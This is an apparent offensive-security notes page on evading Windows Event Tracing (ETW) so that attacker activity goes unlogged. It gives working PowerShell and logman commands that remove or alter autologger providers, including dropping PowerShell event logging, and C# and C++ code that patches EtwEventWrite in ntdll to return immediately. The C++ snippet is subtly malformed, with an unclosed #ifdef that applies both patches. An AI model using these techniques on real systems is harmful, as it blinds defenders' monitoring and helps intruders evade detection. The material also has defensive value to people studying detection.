ETW Bypasses

ETW is used by windows to trace and log system events. Attackers can clear these logs but this itself creates a new event log. The CLR sends ETW events to any ETW consumers, which provides means to detect suspicious .NET use.

Here are some ways to tamper and disable ETW so that event logs don't popup.

(note that the commands below can be replicated by just modifying the registry)

Autologger Provider Removal

This removes a provider entry from autologger, this will cause events to stop flowing to their trace session. To list all providers, we can issue this command:

logman query providers

To remove a provider:

Remove-EtwTraceProvider -AutologgerName EventLog-Application -Guid '{GUID}'

This will end up deleting the registry key:


Provider Enable Property Modification

This alerts the enable keyword of an autologger session. By default ETW provider entries in the EventLogApplication autoloffer sessions have a value of 0x41, this is equals to EVENT_ENABLE_PROPERTY_SID and EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0. Events generated by a provider are logged even if the keyword value is set to 0.

If we replaces the property EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 for EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0, it will result in events where the keyword is 0 not logged.

PowerShell events supplies a 0 keyword value and as a result they will not appear in the PowerShell event log.

Set-EtwTraceProvider -Guid '{GUID}' -AutologgerName 'EventLog-Application' -Property 0x11

Removing ETW Providers From a Trace Session

We can just simply remove an ETW provider from a trace session which will not log until the next reboot or if the provider is restored.

logman update trace EventLog-Application --p MicrosoftWindows-PowerShell -ets

EtwEventWrite Patching

EtwEventWrite function is responsible of writing events to a session. This can be patched to evade ETW patches due to the fact that this is userland and is in a process that an attacker can control.

internal static void PatchEtwEventWrite()
	bool result;
	var hook = new byte[] { 0xc2, 0x14, 0x00, 0x00 };
	var address = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite");
        result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE_READWRITE, out uint oldProtect);
	Marshal.Copy(hook, 0, address, hook.Length);
	result = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole);

We can also do this in c++:

DWORD oldprotect = 0;

void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
VirtualProtect_p(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);

#ifdef _WIN64
	memcpy(addr, "\x48\x33\xc0\xc3", 4); 		// xor rax, rax; ret
	memcpy(addr, "\x33\xc0\xc2\x14\x00", 5);		// xor eax, eax; ret 14

VirtualProtect_p(addr, 4096, oldprotect, &oldprotect);

Last updated